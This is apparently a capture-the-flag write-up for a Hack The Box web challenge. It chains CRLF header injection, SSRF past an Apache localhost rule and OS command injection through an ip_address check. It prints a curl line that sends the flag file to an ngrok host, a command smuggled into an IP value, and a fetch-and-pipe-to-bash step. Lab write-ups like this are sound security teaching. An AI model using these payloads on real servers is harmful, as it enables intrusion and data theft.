Welcome, Brave Hero of Eldoria. You’ve entered a domain controlled by the forces of Malakar, the Dark Ruler of Eldoria. This is no place for the faint of heart. Proceed with caution: The systems here are heavily guarded, and one misstep could alert Malakar’s sentinels. But if you’re brave—or foolish—enough to exploit these defenses, you might just find a way to weaken his hold on this world. Choose your path carefully: Your actions here could bring hope to Eldoria… or doom us all. The shadows are watching. Make your move.
I didn’t find much of interest here, so I moved on to reading the attached files. The first thing I noticed is that it’s an Apache server due to the apache directory, where I found the apache2.conf configuration file inside:
1
2
3
4
5
6
7
8
9
ServerName CyberAttack
AddType application/x-httpd-php .php
<Location "/cgi-bin/attack-ip">
Order deny,allow
Deny from all
Allow from 127.0.0.1
Allow from ::1
</Location>
Inside, I found the following lines. The one we’re interested in is the Location declaration, which specifies who can access a particular route. In this case, /cgi-bin/attack-ip. A deny is applied to everyone except localhost, both in IPv4 and IPv6. So we know that if we try to access the /cgi-bin/attack-ip route, we will get a 403 Forbidden error since we are not authorized to access it. Next, I moved on to analyzing the Dockerfile and entry.sh because in the Dockerfile, I found the following line that executes the aforementioned script:
1
2
# Command to run entry scriptCMD["./entry.sh"]
In the script, only supervisord is started, which is a process control system, and I also found the following line that suggests where the flag will be located on the server:
which suggests that we will most likely need to achieve an RCE or OS Command Injection to read it. As we can see, the following line uses the Linux urandom device, which literally generates random junk. So, the flag will be in the / directory under the name flag-random_junk.txt, apparently. Now we can analyze index.php, which is located in the rpgui directory:
1
2
3
4
5
6
// Check if the user's IP is local
constisLocalIP=(ip)=>{returnip==="127.0.0.1"||ip==="::1"||ip.startsWith("192.168.");};// Get the user's IP address
constuserIP="<?php echo $_SERVER['REMOTE_ADDR']; ?>";
The first lines, without reporting them all, essentially check the IP accessing the index.php page. If it’s not a local IP, the button to execute attack-ip is disabled (it’s useless to try enabling it since, as we saw in apache2.conf, we will get a Forbidden). Then, in js, an event listener is added to the two buttons we see in the Site Presentation screenshot, namely: Attack a Domain and Attack an IP:
As we can see, respectively, attack-ip or attack-domain is called under the cgi-bin/attack-* route, and two parameters are passed: target and name. So, right after, I moved on to analyzing the files under the src/cgi-bin directory:
#!/usr/bin/env python3importcgiimportosimportredefis_domain(target):returnre.match(r'^(?!-)[a-zA-Z0-9-]{1,63}(?<!-)\.[a-zA-Z]{2,63}$',target)form=cgi.FieldStorage()name=form.getvalue('name')target=form.getvalue('target')ifnotnameornottarget:print('Location: ../?error=Hey, you need to provide a name and a target!')elifis_domain(target):count=1# Increase this for an actual attackos.popen(f'ping -c {count}{target}')print(f'Location: ../?result=Succesfully attacked {target}!')else:print(f'Location: ../?error=Hey {name}, watch it!')print('Content-Type: text/html')print()
Apparently, it’s a Python script. A regex check is performed to see if the target we pass as a parameter is a domain. That regex indicates that the target cannot start or end with -. It must have only the TLD (Top Level Domain), so we cannot send targets like example.a.net as we will be blocked. Finally, only alphanumeric characters are allowed in the domain, while only letters are allowed in the TLD. Most likely, this is a web application that simulates some sort of DoS (Denial of Service) attack scenario. In fact, if we pass all the checks, ping is executed with count=1, meaning only one ICMP (Internet Control Message Protocol) packet will be sent to the target we enter. Let’s analyze attack-ip:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
#!/usr/bin/env python3importcgiimportosfromipaddressimportip_addressform=cgi.FieldStorage()name=form.getvalue('name')target=form.getvalue('target')ifnotnameornottarget:print('Location: ../?error=Hey, you need to provide a name and a target!')try:count=1# Increase this for an actual attackos.popen(f'ping -c {count}{ip_address(target)}')print(f'Location: ../?result=Succesfully attacked {target}!')except:print(f'Location: ../?error=Hey {name}, watch it!')print('Content-Type: text/html')print()
As we can see, almost the same things are done. However, there is no regex check here, and we have more freedom in entering the target field, so it will probably be an SSRF (Server-Side Request Forgery) to bypass the Apache configuration, and then with attack-ip, an OS Command Injection will be exploited since we have more freedom. However, as we can see, the function ip_address(target) is used. This function ensures that what is passed as a target is an IPv4 or an IPv6; otherwise, an exception is generated. Let’s move on to the exploitation phase since we have done quite an in-depth analysis.
🔬 Vulnerability Analysis
Potential Vulnerabilities
CRLF (Carriage Return Line Feed) Injection
HTTP Request Smuggling
HTTP Response Splitting
SSRF (Server Side Request Forgery)
403 Bypass
OS Command Injection
🎯 Solution Path
Exploitation Steps
Initial setup
The first thing to understand is how to access the attack-ip resource to test for OS Command Injection and read the flag. One thing I omitted in the analysis but discovered later is that the print() statements pass the HTTP response Headers. So, there is likely a chain of three vulnerabilities here, including an HTTP Request Smuggling via CRLF.
A CRLF (Carriage Return Line Feed) Injection allows inserting a literal carriage return line feed (\r\n) in the response. This enables us to create a line break in the headers and define additional headers, effectively performing a header injection, as we can insert anything we want.
Therefore, to access attack-ip, we can send the following parameter:
1
name="a\r\nHeaders..."
The HTTP response will contain two or more headers, exploiting “Response Splitting” and considering the last assigned header as valid. I built the following payload by setting an invalid target, such as target=-:
This allows me to access the attack-ip resource through the proxy header since the server will assume the request originates from 127.0.0.1. However, this is not fully complete… let’s move on to the next phase.
Exploitation
Now we need to add the OS Command Injection. We need to read the flag, so we will inject a command like cat /flag* since we don’t know the flag name due to urandom. However, remember that the target parameter is passed to the ip_address function, and we need to send the output of the command to our webserver, as the command is executed on the server and we can’t directly read it. So, first, I start ngrok and a Python server in the folder I want to host where I’ll insert the payload (which I’ll describe later):
1
2
ngrok http 8080python3 -m http.server 8080
I will use this webserver to send the flag to me as a parameter. However, studying the ip_address function, I found out that inserting characters like / will cause an exception. So I found a way to bypass this. With curl, it’s possible to make a request without specifying the schema:
1
curl ngrok_url
But this request will redirect us to https://ngrok_url, so I thought I would need to follow the redirect. After trying a few times, I found a bypass: with the -L option, it’s possible to follow redirects. But, of course, when entering an url, the -L option gets converted to -l (lowercase) and won’t work. So, I found another lowercase option for curl to follow redirects, namely --location. After a couple more tests, I discovered that the ip_address function seems to only check if there is a valid ip in the string and not the rest, so I created the following payload:
1
target=::1%$(whoami)127.0.0.1&name=\r\n\r\n
ip_address() bypass
As we can see, the whoami command gets executed, and I correctly get the OS Command Injection. I use % for proper concatenation since the target needs to be valid (::1%Command Injection). Additionally, we know that in Python, strings are concatenated with +, so it’s used in the final payload. Furthermore, in the final payload, I created an index.html file with the injection to redirect me the output of the command execution. In fact, in the index.html file, I inserted:
1
curl https://ngrok_url/?flag=$(cat /flag*)
This way, through the SSRF, I make a GET request to my webserver where I serve index.html. The server takes the text content of index.html, and then with the OS Command Injection, I pass the content to bash through the pipe |, which in bash takes the output of one command and uses it as input for another command. I hope I explained everything correctly ^^’. To recap, I have my ngrok webserver, where I modify the main page in the payload that we will pass to bash to execute the command inside it. Next, I use CRLF to craft a request (SSRF) that uses os.popen() from attack-ip to inject curl --location ngrok_url|bash towards my webserver, which will cause the remote server to make another request to my webserver with the output of the cat /flag* command. The final payload is built as follows (written in Python):
Once I visited the page, on ngrok, I received two requests: the first one is to the index.html page that contains the payload to read the flag, and the second is where I sent the output of the command used in the index.html payload (cat /flag*) to read the flag. So, by looking at the second request, in the flag parameter, I found the flag.
Flag capture
Manual Flag
Of course, it is necessary to reconstruct it with the correct format HTB{.*}.
🛠️ Exploitation Process
Approach
In the automatic exploit with server.py, I initialize my web server with which I will receive the flag and serve the payload. From the same script, via multithreading, I will execute exploit.py, which will send the request to the remote server, exploiting the vulnerability. The rest of the process is identical to what was done manually. To replicate and execute the exploit, you just need to set the challenge URL in the exploit.py file and run server.py.
